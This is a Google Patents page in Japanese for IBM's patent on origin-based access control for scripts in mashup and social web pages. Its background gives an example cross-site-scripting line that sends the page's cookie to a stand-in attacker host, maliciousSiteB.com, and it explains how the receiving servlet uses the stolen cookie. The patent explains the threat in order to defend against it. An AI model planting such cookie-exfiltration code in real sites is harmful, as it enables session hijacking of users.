JP4395178B2 - コンテンツ処理システム、方法及びプログラム - Google Patents

コンテンツ処理システム、方法及びプログラム Download PDF

Info

Publication number
JP4395178B2
JP4395178B2 JP2007142191A JP2007142191A JP4395178B2 JP 4395178 B2 JP4395178 B2 JP 4395178B2 JP 2007142191 A JP2007142191 A JP 2007142191A JP 2007142191 A JP2007142191 A JP 2007142191A JP 4395178 B2 JP4395178 B2 JP 4395178B2
Authority
JP
Japan
Prior art keywords
content
script
access control
identification information
mashup
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Expired - Fee Related
Application number
JP2007142191A
Other languages
English (en)
Other versions
JP2008299414A (ja
Inventor
乃箴 戚
聡 牧野
直彦 浦本
佐知子 吉▲浜▼
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
International Business Machines Corp
Original Assignee
International Business Machines Corp
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by International Business Machines Corp filed Critical International Business Machines Corp
Priority to JP2007142191A priority Critical patent/JP4395178B2/ja
Priority to US12/128,692 priority patent/US20080301766A1/en
Publication of JP2008299414A publication Critical patent/JP2008299414A/ja
Application granted granted Critical
Publication of JP4395178B2 publication Critical patent/JP4395178B2/ja
Expired - Fee Related legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Images

Classifications

    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/51Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems at application loading time, e.g. accepting, rejecting, starting or inhibiting executable software based on integrity or source reliability

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Software Systems (AREA)
  • Theoretical Computer Science (AREA)
  • Computer Hardware Design (AREA)
  • Physics & Mathematics (AREA)
  • General Engineering & Computer Science (AREA)
  • General Physics & Mathematics (AREA)
  • Storage Device Security (AREA)
  • Computer And Data Communications (AREA)
  • Information Transfer Between Computers (AREA)

Description

この発明は、インターネットを介して、特定のウェブサイトに書き込まれるページやプログラムが、当該のウェブサイトにアクセスすることをコントロールするようにコンテンツを処理するためのシステム、方法及びプログラムに関するものである。
最近では、HTMLとJavaScript(商標)を用いてクライアント側のロジックを記述し、ページ全体の表示、ユーザのアクションに対応したコンテンツ表示の変更、部分ページの切り替え、データの送信などを実現しているウェブページを、多く見かける。また、ウェブページは一つのサイトにより開発・運営されるだけではなく、いくつかのサーバから提供されたデータやプログラムを統合して一つのウェブページとしてクライアントに提供するアプリケーションが増えている。たとえばソーシャルネットワークやマッシュアップアプリケーションにおいては、ブラウザにとっては単一のHTMLページに見えるWebコンテンツが、実は複数の作成者によって作られたコンテンツを合成したものとなる。
1) ソーシャルネットワークや掲示板では、複数のユーザがそれぞれ書き込んだブログやコメント、プロファイル情報などが、合成されて表示される。
2) マッシュアップアプリケーションでは、地図表示や検索エンジンなどの機能を実装したサービスとコンテンツを組み合わせて、新しいアプリケーションを生成する。複雑な機能をAPIとして提供することで、アプリケーションはサービス内部のプログラムのロジックを理解しなくても簡単に使うことができ、開発も容易となる。例えば、Google Mapから提供されるAPIを用いて近所の店などを紹介するページが簡単に作れる。また、広告用のプログラムをページに貼り付ければ、第三者のサイトの広告でビジネスを行なうこともある。
しかし、色々なサーバからデータやプログラムをクライアント側で実行させることで、セキュリティ上の問題が発生する。その原因は、JavaScriptを用いて、ウェブページの各データやDOMノードに対し簡単に読み書きが可能であるところにある。従って、悪意を持ったサイトからダウロードしたプログラムは、JavaScriptを用いて、特定のサイトに書かれている値段や数などのデータ改竄を始め、クライアントの知らないうちにパスワードやクッキーなど大事な情報を自分のサイトに送る攻撃を実現することが可能である。
ソーシャルネットワークサービス(SNS)やWiki, Blogにおいては、現在でも、JavaScriptをユーザの入力(例:Blogのコメント等)に挿入することで、ユーザのブラウザ上で不正なスクリプトを実行させる攻撃が後を絶たない。多くの場合はコンテンツをフィルタリングすることによってJavaScriptを取り除く対策が採られているが、フィルタの脆弱性を利用して検出されないようにする手法がつぎつぎと発見され、完全に回避することは難しい。
また現在では、Webコンテンツ内でアクセス制御をする方法がないため、ユーザ側で、ブラウザのJavaScript機能を全て禁止する、という一様な対策しかとることができない。しかし、信頼できるサイトからのコンテンツに含まれるJavaScriptの実行をも禁止してしまうと、意図した処理が、そのコンテンツで実施されないので、逆に支障をきたす場合がある。
ところで、例えばあるウェブ・サイトで、HTML文書の中で、imgタグを用いてブラウザに写真product1.jpgを表示させようとしているとする。
<img id="img1" src="http://www.siteA.com/img/product1.jpg">
このウェブ・サイトに対して、悪意のあるユーザによって入力されたBlogのコメントが同じページ上で表示されるとすると、このコメントにJavaScriptが含まれていれば、次のようにして、もとのHTML文書を書き換えることができる。例えば、悪意を持ったコンテンツは、写真のロードが実行される前に以下のようなJavaScriptを実行することが可能である。
var imgNode = document.getElementById("img1");
imgNode.src = http://www.maliciousSiteB.com/receiveData?data=" + document.cookie;
このようにコンテンツを書き換えることにより、このコンテンツが表示される時にwww.siteA.comからイメージをロードする代わりに、www.maliciousSiteB.comにウェブページのクッキー情報を送ってしまう。
一方、www.maliciousSiteB.com側では、receiveDataはservletとして書かれており、このservletの最後のコード部分に、クッキー情報を取り出すコードが含まれている。次に、クッキーから取り出された情報を使って、本当のhttp://www.siteA.com/img/product1.jpgにrequestがredirectされる。こうして、もとの写真product1.jpgが書き換えられることになる。
更に、ウェブシステムの仕組みによって、各サービスを提供するサーバから直接クライアントにデータやプログラムを提供するのではなく、サーバまたはProxyによって“中継”や加工されてから、クライアント側に到着する流れとなるサーバサイドマッシュアップもある(図 1を参照)。この場合、クライアント側から見ると、全てがサーバ(Proxy)から送信されているように見え、データやサービスの出所は隠蔽される形になる。従って、クライアント側からは、コンテンツが安全かどうかをサーバの信頼性から判定できない。安全なサーバから提供されるコンテンツが、信頼できない第三者サーバからのプログラムを含む可能性も十分考えられる。
マッシュアップアプリケーションは現在のところ、信頼できるサービスのみを使った実験的なものが多い。しかし今後普及していくにしたがってセキュリティ機構の不在は大きな問題になると考えられる。例えば、悪意のあるサービスMを悪意のないサービスAとマッシュアップした場合、Mの提供するコンテンツがJavaScriptによってAのコンテンツを書き換えるなどの攻撃が可能である。
特表2002−514326は、疑わしいダウンローダブルからコンピュータを保護することに関するものであって、セキュリティポリシーと、ダウンローダブルを受け取るためのインターフェイスと、このインターフェイスに接続されていて、前記セキュリティポリシーを前記ダウンローダブルに適用して、前記セキュリティポリシーが侵害されたか否かを判定するためのコンパレータと有するシステムを開示する。ダウンローダブルは、Java(商標)アプレット、ActiveX(商標)コントロール、JavaScript(商標)スクリプト、または、Visual Basicスクリプトを含んでいてよい。このシステムは、前記ダウンローダブルのすべての構成要素をフェッチし、このフェッチした構成要素を含むダウンローダブルについてのハッシング関数を実行することによって、前記ダウンローダブルを識別するダウンローダブルIDを算出するためのIDジェネレータを使用する。前記セキュリティポリシーは、(1)既知の悪意のあるダウンローダブルおよび悪意の無いダウンローダブルとの比較、(2)管理オーバーライドごとの拒絶または許可すべきダウンローダブルとの比較、(3)ダウンローダブルセキュリティプロファイルデータの、アクセスコントロールリストに対する比較、(4)前記ダウンローダブルに含まれる証明書の、信頼性が確認された証明書との比較、(5)前記ダウンローダブルの送り元のURLの、信頼性が確認されたURLおよび信頼性が確認されていないURLに対する比較を含むいくつかの実行すべきテストを指示する。この開示技術の特徴は、クライアント側でポリシーが定義され、ダウンロードしたファイルの実行を制限することにある。しかし、この開示技術においては、サーバ側でポリシーを提供する仕組みは示唆されない。
特表2002−517852は、ウェブサイトからダウンロードされたコンピュータコードまたは他のデータ、電子メールメッセージおよびそこへの任意の添付物、サーバ上で実行するスクリプトまたはクライアントプロセスなどの信頼できないコンテンツに関して、制限付き実行コンテキストを提供するものであって、プロセスがリソースへアクセスしようとするといつでも、そのプロセスに関連付けられたトークンがそのリソースのセキュリティ情報に対して比較され、そのタイプのアクセスが許可されているかどうかを決定する。各リソースのセキュリティ情報はこのように制限付きプロセス、従って信頼できないコンテントがアクセスを有する範囲を決定する。しかし、この開示技術においては、ファイルのコンテキスト(例えば、HTMLファイル)に基づきアクセスを制限することを開示するものの、ファイルの出所に基づき、アクセスを制限する仕組みについては、示唆されていない。
特表2002−514326 特表2002−517852
本発明の主要な目的は、ウェブサーバのファイルに、信頼できないサイトから、外部から入力されるコンテンツに含まれているJavaScriptなどのスクリプトによって、有害な処理が行われないように、ポリシーに基づくアクセス制御を行うことを可能とすることにある。
本発明の別の目的は、既存のアプリケーションに対する変更を最小限にしつつ、マッシュアップサーバにおいて、予め定めたポリシーに基づき、クロスドメインアクセス制御を可能ならしめることにある。
上記目的は、本発明により、Webページを構成するHTML文書内で、文書の部分ごとにそのオリジンに基づいたアクセス制御を行うことにより、悪意のあるユーザやサーバにより提供されたコンテンツがHTML文書のほかの部分に対して不正に読み書きを行うことを防ぐようにすることにより、達成される。すなわち、本発明によれば、サーバ側でコンテンツ(含むJavaScriptプログラム)にそのオリジンであるドメインを表すラベルを自動的につけることによって、クライアント側でのドメインをまたがるアクセス制御(クロスドメインアクセス制御)が可能になる。また、既存の多くのWebアプリケーションをできるだけ変更せずにそのまま使用できる。
本発明に従うシステムは、既存のアプリケーションに対する変更を最小限にして、ウェブサーバまたは、マッシュアップサーバに入力される外部サービスからの情報をトラックすることによって、そのオリジン情報を生成、ポリシーの付与、JavaScriptの書き換えを行う。こうしておくことにより、クライアント側で、ポリシーに基づくアクセス制御を行うことができる。
本発明によれば、サーバ部は、コンテンツのドメイン情報取得サブコンポーネントと、ドメイン情報に基づくポリシー付与とJavaScriptのコード書き換えサブコンポーネントからなる。このような処理にしておくことにより、クライアント部では、ポリシーに基づくJavaScript実行サブコンポーネントと、アクセス制御ポリシーを利用して、上述したアクセス制御を行うことができる。
サーバでは、複数のオリジンから提供されるコンテンツを合成してマッシュアップコンテンツが生成される。このとき、それぞれのコンテンツのオリジンが記録され、生成されたコンテンツをクライアントに送信するときに、各部分のオリジンを表すメタデータ情報(ドメイン情報)、 各ドメインに属するコンテンツ間のアクセス制御ポリシー、も送信される。オリジン情報の取得と、メタデータ・ポリシーの挿入はアプリケーションロジックとは独立に実施されるため、既存のアプリケーションを改造する必要がない。
サーバではまた、マッシュアップの結果として発生する名前の衝突を検出し、コンテンツの書き換えを行なって衝突を回避する、という処理も行われる。名前の衝突とは、例えば、同名のJavaScriptの関数が定義されたり、同じIDを持つHTML要素が複数定義されることをいう。
クライアントは通常のWebブラウザを拡張したものである。拡張する方法の1つは、ブラウザのソースコードレベルで拡張することである。この場合は、例えば、ブラウザの提供元で、ブラウザ自体がビルドし直される。
別の方法では、ブラウザに、プラグインあるいはアドオンとして、プログラムの機能が追加されることにより、拡張が達成される。
この拡張機能とは、受信したコンテンツを表示・実行する際に、サーバから受信したドメイン情報とアクセス制御ポリシーを参照し、文書内でのDOM APIを通じたアクセス(文書の部分に対する読み書き・実行)をポリシーに従って制御するものである。
SNSやサーバ側によるマッシュアップアプリケーションでは、コンテンツのオリジンやその信頼に関する情報、各オリジンに属するコンテンツ間のアクセス制御ポリシーは、サーバ側で検出される。一方、実行時のアクセス制御はクライアント側で実施されることになる。
この発明によれば、マッシュアップ・アプリケーションにおいて、複数のサービス・サーバからの入力を組み合わせたときに、個々のサービス・サーバのオリジンに従い、適切なポリシーに基づき、アクセス制御が行われるので、悪意をもつサイトからのアクセスにより、有害なアクセスやコンテンツの書き換えなどが実質的に防止される。
また、そのようなサービス・サーバに対するアクセスだけではなく、サービス・サーバ側で設定されたセキュリティ・ポリシーも考慮できるため、互いが意図したセキュアの様式で、マッシュアップ・アプリケーションを組むことが可能となる。
以下、図面を参照して、この実施例を説明する。図1を参照すると、この実施例に係るハードウェア構成の概要ブロック図が示されている。図1において、クライアント・コンピュータ100と、サーバ・コンピュータ200が、例えば、イーサネット・プロトコルにより、通信回線300に接続されている。通信回線300は更に、プロキシ・サーバ400を介して、インターネット500に接続され、インターネット500を介して、様々なウェブ・サイト602、604、606・・・にアクセスすることが可能である。
クライアント・コンピュータ100は、ハードディスク104と、イーサネット・プロトコルに対応する通信インターフェース106をもち、ハードディスク104には、オペレーティング・システム、ウェブ・ブラウザ102などの、この実施例に使用される様々なプログラムが、メモリにロード可能に記憶されている。この実施例で使用するウェブ・ブラウザ102は、JavaScriptを実行可能な任意のウェブ・ブラウザでよく、例えば、マイクロソフト社のInternet Explorer(商標)、モジラ ファウンデーションのFireFox(商標)、アップルコンピュータ社のSafari(商標)などが使用可能である。オペレーティング・システムとしては、TCP/IP通信機能を標準でサポートし、これらのウェブ・ブラウザを動作可能な任意のものでよく、例えば、Linux(商標)、マイクロソフト社のWindows XP(商標)、Windows(商標)2000、アップルコンピュータのMac OS(商標)などを使用することができるが、ここに掲げたオペレーティング・システムには限定されない。
サーバ・コンピュータ200は、ハードディスク204と、イーサネット・プロトコルに対応する通信インターフェース206をもち、ハードディスク204には、オペレーティング・システム、ウェブ・ブラウザ、ウェブ・アプリケーション・サーバ・プログラム(以下、ウェブ・アプリケーション・サーバとも呼ぶ)202などの、この実施例に使用される様々なプログラムが、メモリにロード可能に記憶されている。ウェブ・アプリケーション・サーバとは、HTML文書や画像情報などを蓄積しておき、ウェブ・ブラウザなどのクライアント・アプリケーションからの要求に応じて、インターネットなどのネットワークを通じて、情報を送信するプログラムである。ウェブ・アプリケーション・サーバ202としては、Apache tomcat、マイクロソフト社のInternet Information Serverなど、任意のものが使用可能である。オペレーティング・システムとしては、TCP/IP通信機能を標準でサポートし、これらのウェブ・アプリケーション・サーバを動作可能な任意のものでよく、例えば、Linux(商標)、マイクロソフト社のWindows XP(商標)、Windows(商標)2000などを使用することができるが、ここに掲げたオペレーティング・システムには限定されない。
次に、図2を参照して、クライアント・コンピュータ100と、サーバ・コンピュータ200の、より詳細なハードウェア構成について、説明する。
クライアント・コンピュータ100は、CPU108と、メインメモリ110をもち、これらは、バス109に接続されている。CPUは、好適には、32ビットまたは64ビットのアーキテクチャに基づくものであり、例えば、インテル社のPentium(商標) 4、AMD社のAthlon(商標)などを使用することができる。バス109には、ディスプレイ・コントローラ112を介して、LCDモニタなどのディスプレイ114が接続される。ディスプレイ114は、図1で示した、ウェブ・ブラウザ102などのプログラムを表示するために使用される。バス109にはまた、IDEコントローラ116を介して、ハードディスク104と、CD−ROMドライブ118が接続される。ハードディスク104には、オペレーティング・システム、ウェブ・ブラウザ102その他のプログラムが、メインメモリ110にロード可能に記憶されている。
ハードディスク104にはさらに、図7に関連して後述する、クライアント側の処理機能に係るプログラムが保存されている。これらの機能は、必要に応じて、または自動的に、メイン・メモリ110にロードされて、実行される。これらのプログラムは、C、C++、C#、Java(商標)など、既存の適当な任意のプログラムで作成することができる。
CD−ROMドライブ118は、必要に応じて、CD−ROMからプログラムをハードディスク104に追加導入するために使用される。バス109には更に、キーボード・マウスコントローラ120を介して、キーボード122と、マウス124が接続されている。キーボード122は、URLやその他の文字を、画面に入力するために使用される。マウス122は、マッシュアップ・アプリケーションを作成する目的で、GUI部品をドラッグ・アンド・ドロップしたり、動作を開始させるためにメニューのボタンをクリックしたりするために使用される。
通信インターフェース106は、イーサネットプロトコルに従うものであり、回線130を介して、インターネット250に接続される。図示しないが、回線130は、セキュリティ保護のため、プロキシサーバを介して、クライアント・コンピュータ100と、通信回線300とを、物理的に接続する役割を担い、クライアント・コンピュータ100のオペレーティング・システムの通信機能のTCP/IP通信プロトコルに対して、ネットワークインターフェース層を提供する。尚、図示されている構成は、有線接続構成であるが、例えば、IEEE802.11a/b/gなどの無線LAN接続規格に基づき、無線LAN接続するものであってもよい。
また、通信インターフェース106は、イーサネットプロトコルに限定されるものではなく、例えば、トークンリングなどの任意のプロトコルに従うものでよく、特定の物理的通信プロトコルに限定されない。
サーバ・コンピュータ200は、CPU208と、メインメモリ210をもち、これらは、バス209に接続されている。クライアント・コンピュータ200においても、CPUは、好適には、32ビットまたは64ビットのアキーテクチャに基づくものであり、例えば、インテル社のPentium(商標) 4、Xeon(商標)、AMD社のAthlon(商標)などを使用することができる。バス209には、ディスプレイ・コントローラ212を介して、LCDモニタなどのディスプレイ214が接続される。ディスプレイ214は、詳細は後で説明するが、システム管理者が、インターネット接続用のGUI部品などを作成したり、JavaScriptのプログラムを書いて、クライアント・プログラム100から呼び出し可能に登録したり、クライアント・プログラム100を介してアクセスするユーザーのユーザーIDとパスワードを登録したりするために使用される。
バス209にはまた、IDEコントローラ216を介して、ハードディスク204と、CD−ROMドライブ218が接続される。ハードディスク204には、オペレーティング・システム、ウェブ・ブラウザその他のプログラムが、メインメモリ210にロード可能に記憶されている。
CD−ROMドライブ218は、必要に応じて、CD−ROMからプログラムをハードディスク204に追加導入するために使用される。バス209には更に、キーボード・マウスコントローラ220を介して、キーボード222と、マウス224が接続されている。キーボード222は、URLやその他の文字を、画面に入力するために使用される。
通信インターフェース206は、イーサネットプロトコルに従うものであり、サーバ・コンピュータ200と、通信回線300とを、物理的に接続する役割を担い、サーバ・コンピュータ200のオペレーティング・システムの通信機能のTCP/IP通信プロトコルに対して、ネットワークインターフェース層を提供する。サーバ・コンピュータ200においても、図示されている構成は、有線接続構成であるが、例えば、IEEE802.11a/b/gなどの無線LAN接続規格に基づき、無線LAN接続するものであってもよい。
また、通信インターフェース206は、イーサネットプロトコルに限定されるものではなく、例えば、トークンリングなどの任意のプロトコルに従うものでよく、特定の物理的通信プロトコルに限定されない。
サーバ・コンピュータ200のハードディスク204には、前述したオペレーティング・システムとウェブ・アプリケーション・サーバ202以外に、図5及び図6に関連して後述する、サーバ側での処理機能に関するプログラムが保存されている。これらの機能は、必要時に、メイン・メモリ210にロードされて、実行される。これらのプログラムは、C、C++、C#、Java(商標)など、既存の適当な任意のプログラムで作成することができる。
さらにまた、図1では、クライアント・コンピュータとサーバ・コンピュータはともに、ファイアーウォールの内側にあるが、サーバ・コンピュータを、ファイアーウォールの外側に置いてもよい。その際、もしセキュリティ的に懸念があれば、VPNなどの仕組みで、セキュリティを強化することも可能である。
なお、図1及び図2では、サーバ・コンピュータ200に対して、クライアント・コンピュータ100が一台だけ接続されているものとして表示されているが、一般的には、図示は省略するが、1台のサーバ・コンピュータ200に対して、複数台のクライアント・コンピュータ100が接続されることに留意されたい。これも図示しないが、サーバ・コンピュータ200には、クライアント・コンピュータ毎のユーザーIDとパスワードの組が保存され、このユーザーIDとパスワードの組を使って、クライアント・コンピュータのユーザーは、サーバ・コンピュータ200にログインすることになる。
また、図1及び図2では、クライアント・コンピュータは、サーバ・コンピュータ200に対して、ファイアーフォールの中に位置するように示されているが、図1のインターネット500の右側、すなわち、ファイアーフォールの外に位置していてもよい。
図3は、マッシュアップ・サーバ350の一般的な概念を示すものである。マッシュアップ・サーバ350は、図1及び図2に示すサーバ・コンピュータ200内に構成される。マッシュアップ・サーバ350は、ウェブ・ブラウザ102からのリクエストを受け取って、URL:http://www.server1.comをもつもとして例示されている外部のサービス602、URL:http://www.server2.comをもつもとして例示されている外部のサービス604、URL:http://www.server3.comをもつもとして例示されている外部のサービス606に問い合わせし、その問い合わせの結果を組み合わせて、ウェブ・ブラウザ102に返す働きをする。
例えば、サービス602が、都市名から、緯度・経度を検索して、緯度・経度の数値を返すとする。そうして、サービス604が、その緯度・経度に基づき、地図を検索して、地図のイメージを返すとする。サービス606は、そのように返された地図のイメージと、所望の情報を組み合わせて、ウェブ・ブラウザ102に返す。ウェブ・ブラウザ102は、そのように返された情報を、画面にレンダリング表示する。これは、マッシュアップの典型的なシナリオの1つである。しかし、そのようなサービスの1つが悪意ある機能をもつサイトだったとする。すると、ウェブ・ブラウザ102を介してサービスにアクセスするクライアント・コンピュータ100のクッキー情報を不当に取得することを可能とするコードを、マッシュアップ・サーバ350に送ってくることがあり得る。
本発明によれば、上述のような問題を防止するために、図4に示すように、マッシュアップ・サーバ350のアプリケーション370と、サービス602〜606の間に、サービス602〜606から提供されるコンテンツのオリジンあるいはドメインを取得する機能360が介在させられる。機能ブロック360で、オリジンあるいはドメインが取得されると、その情報は、アクセス制御のためのポリシー390として、サーバ・コンピュータのディスク204に保存される。
機能ブロック380は、ウェブ・ブラウザ102から、コンテンツの閲覧要求があると、そのコンテンツに関連付けられているアクセス制御ポリシーと、メタデータを、ポリシー390で検索し、検索されたアクセス制御ポリシー及びメタデータを付けて、要求されたコンテンツとともに、ウェブ・ブラウザ102に返す。このとき、コンテンツに付加的なタグをつけてアクセス制御ポリシーと、メタデータを埋め込んで返す方法と、コンテンツとは別のファイルとして、アクセス制御ポリシーとメタデータを返す方法があり、ウェブ・ブラウザ102が対応しているなら、どちらの方法でもよい。なお、ここでは、アクセス制御ポリシーとメタデータというように分けて記述したが、より広い意味では、ここでいうアクセス制御ポリシーとメタデータの組み合わせを、アクセス制御ポリシーと呼ぶこともできる。というのは、本発明の1つの実施例では、メタデータに、オリジン情報とIDとが記述され、アクセス制御ポリシーの方に、そのようにして記述されたオリジン情報のアクセス権限が記述されるからである。
ウェブ・ブラウザ102は、このように、マッシュアップ・サーバ350から送られてきた、コンテンツと、アクセス制御ポリシー及びメタデータの組み合わせを解釈して実行する付加機能をもつ。すなわち、コンテンツ中に、JavaScriptなどの実行されるスクリプトが含まれていると、ウェブ・ブラウザ102は、その付加機能により、関連付けられたアクセス制御ポリシー及びメタデータを参照する。そうして、参照した結果、実行してもよいことが判明すると、ウェブ・ブラウザ102は、そのスクリプトを実行する。そうでなければ、そのスクリプトの実行を単にスキップする。こうして、セキュリティ的に問題があるかもしれないスクリプトの実行結果を避けることができる。
図5は、図4の機能ブロック360と、その周辺を、より詳細に説明するためのブロック図である。なお、以下では、いちいち断わらないが、図示する機能ブロックは、C、C++、C#、Java(商標)などの既存のプログラムで書かれ、ハードディスク204に保存されており、オペレーディング・システムの機能により、必要に応じて、メインメモリ210にロードされるものとする。
図5に示すブロック図5において、データチェック機構502は、クライアント・コンピュータ100及びサービスサーバ602等から、コンテンツを受け取り、先ず、これらのコンテンツに対して、データのチェックを行う。サービスサーバ602等からのコンテンツの受領は、例えば、クライアント・コンピュータ100のユーザーの、サービスサーバに対する閲覧要求に応答して、周知のHTTPプロトコルなどにより、行われる。そして、データチェック機構502は、チェックした結果を、データベース504に保存する。データベース504は、任意の形式のリレーショナル・データベースまたは、その他の形式のデータベースでよく、要するに、あるデータをキーにして、それに対応する内容を返すことができるものなら、どのような形式のデータベースでも使用することができる。
さて、データチェック機構502は、JavaScriptなどのプログラム部分がどのように文書に挿入されたかを後で自動認識するために、プログラムを外部から取り込むときに、まず、プログラムの文字列から、スペース、改行、コメントなどを取り除き、クォーテーション・マークを揃えるなどの、正規化をまず行う。
データチェック機構502は、SNSやBlog, BBS, wikiシステムの場合、主にサニタイゼーションとして、JavaScriptを除去する。SNSやBlog, BBS, wikiシステムの場合、そういうコードを実行する必然性が通常ないからである。ここでは、キーワードマッチングで、禁止される言葉を置き換えたりすることも行う。この発明の実施例では、サーバサイドマッシュアップシステムにおいて、一般ユーザの入力のみではなく、他のサービスサーバから提供されるデータやJavaScriptもチェック対象とする。特に、JavaScriptの場合、プログラムを解析し、プログラムの断片及び各メソッドのフィンガープリント(固有の識別情報)を求め、そのオリジン(URL)と共に、付加データのデータベース506に保存する。これらの情報を用いて、アプリケーションを生成した後に、自動的にJavaScriptのオリジンを判別し、付加情報として一緒にクライアント側に送信する。
フィンガープリント、すなわち識別情報を求めるとき、前処理によってプログラムを正規化する。それは、アプリケーションプログラムが外部のプログラムを使用する前に、スペースや改行、コメントを入れたり、または"を'に変換するなどの変換を行なっている可能性があるためである。従って、後で行なうプログラムの自動判別を正しく行なうため、一定の形式に正規化を行ない、分割してからフィンガープリントを計算する。
例えば、http://www.server1.com/getMap.jsには以下のプログラムが含まれているとする。
function buildRequest(data) {
// buildRequest の中身
}
function sendData(request) {
// sendData の中身
}
var position = document.form1.position.value;
var request = buildRequest(position);
sendData(request);
このプログラムには、2つのfunction(関数)とinnerプログラムが含まれているため、次の3つの部分プログラムに分割できる。(分割されたそれぞれの単位は、かならず同時に実行される)
1) functionbuildRequest(){//buildRequestの中身}
2) functionsendData(){//sendDataの中身}
3) varposition=document.form1.position.values;varrequest=buildRequest(position);sendData(request);
フィンガープリントをセキュアハッシュ関数 (ここでは、SHA-1を用いるが、SHA-0、SHA-2など、その他の適当なハッシュ関数も使用することができる) により計算する場合、これらの部分プログラムに対しそれぞれハッシュ値を計算し、オリジンhttp://www.server1.com/getMap.jsと共にデータベース506に入れる。メソッドの場合、メソッド名も一緒に保存する。その内容を、下記の表に示す。
Figure 0004395178
また、メソッドを含まないプログラムも考えられる。例えば、マッシュアップにより生成された以下のようなHTMLがあるとする。
<img onLoad="document.getElementById('input2');...." src="..." >
このimg要素のonLoad部分に埋めたプログラムも外部サーバhttp://www.server2.com/specialEvent.jsから入力されたものとする。その場合、"document.getElementById(input2);..." というスクリプト文字列を正規化してしハッシュ値を取り、テーブルに保存する。
アプリケーション生成機構508は、プログラマの記述したアプリケーションロジックに基づき、データやプログラムを組み合わせて、クライアント側で動くアプリケーション(通常、HTML+JavaScript)を生成するものである。これに限定されるものではないが、1つの例として、本出願人に係る、特願2006−326338明細書に記載されている技術によるものがある。アプリケーション生成機構508は、図6に関連して、後でより詳しく説明する。
メタラベル付与機構510は、生成されたアプリケーション内に挿入されたプログラムのオリジン情報を、その挿入されたプログラムのフィンガープリントを作成して、データベース506から検索することによって取得し、メタデータとして、コンテンツに付加する。より詳細に述べると、メタラベル付与機構510は、アプリケーション生成機構508からの出力(HTML+JavaScript)に対し、JavaScript部分の解析を行ない、外部から取得したプログラムの場合、そのオリジンを表す付加情報を付ける。また、表1のテーブルに存在しないメソッドが見つかったとき、自分のサーバが生成したプログラムとして、フィンガープリント、メソッド名とオリジンを前記の表に登録する。
また、メタラベル付与機構510は、<script>タグに囲まれている各メソッドの文字列に対し、スペース、改行、コメント、'や"などの符号を正規化をした上で、フィンガープリントを計算する。文字列の処理は、データチェック機構502に相応した作業を行う必要がある。また、一つの<script>に入っているメソッドやプログラムは同じ外部サイトから取得したものを前提として、アプリケーション生成機構が動作していたので、一つの<script>に対し一つのメソッドを取り出してフィンガープリントを計算すればよい。このとき、メソッドが含まれていない場合、あるいは、onClick, onLoadなどのイベントに記述されるプログラム全体に対しフィンガープリントを計算する。フィンガープリントを用いてデータベース506を参照し、そのオリジンを調べる。オリジンが分かったら、XPathでJavaScriptの場所を指定し、オリジンを表す情報を生成する、という処理を行う。
オリジンを表すドメイン情報は、例えばmeta要素を利用して、
<meta name=URL:http://www.server1.com/getMap.js href="//*[@id='id1'] "/>
のように表現する。ここでは、hrefを用いてscriptタグの場所を表し、nameを用いてプログラムのオリジンを表す。更に、onClickやonLoadなどのイベント部のプログラムは
<meta name=" URL:http://www.server2.com/specialEvent.js" href="//*[@id='id2']/@onLoad"/>
のように表す。
また、JavaScriptの出ところをユーザからは隠蔽したい場合、name部分はURLではなく、別名を付ける方法も可能である。例えば、下記のようにする。
<meta name="nickname:S1" href="//*[@id='id1']" />
<meta name="nickname:S2" href="//*[@id='id2']/@onLoad" />
この二つの記述をポリシーとして、データベース506に保存する。
一方で、個々のコンテンツ提供サーバの提供するコンテンツ自体に、外部ドメインのJavaScriptプログラムからのアクセスを制御するためのポリシーが事前に付与されている場合もある。ドメインに別名を用いた場合、付加データのデータベース506に保存されているポリシーを関連する部分のメインも別名に直す必要がある。
例えば、もとのコンテンツのアクセス制御ポリシーが
<rule object="XPath: //input[@type='password']" subject="URL:http://www.server2.com/*" action="*" permission="deny" />
となっている場合、別名に合わせて
<rule object="XPath: //input[@type='password']" subject="nickname:S2" action="*" permission="deny" />
に変更する。なお、このポリシーで、action="*"は、全てのアクションを指定することを意味する。
このようにして、データベース506には、様々なウェブ・サービスのサイトから送られてきたコンテンツのスクリプトにおけるコードのメソッド部分、実行部分のフィンガープリントと、それに対応するオリジン情報が蓄積される。ウェブ・サービスから送られてくるコンテンツ自体にポリシーが含まれていることがあり、その場合、そこから抽出されたポリシーが、やはり、データベース506に保存される。さらにまた、サーバ・コンピュータ200の管理者が、ポリシーを作成して、予めデータベース506を保存しておくこともでき、それは、上記の取り込んだポリシーに対して、追加のポリシーになる。
このように取り込まれた、そのオリジンに関連付けられた、コンテンツのスクリプトにおけるコードのメソッド部分、実行部分に、どのようなアクセス制御ポリシー(上記で、<rule ... />で定義したもの)を付与するかは、予め、サーバ200のシステム管理者が、オリジン毎に決めておく。そうして、アクセス制御ポリシーに指定されていないオリジンからのコンテンツに含まれていたスクリプトは、実行を許可しないようにする。なお、アクセス制御ポリシーの詳細については後で説明する。
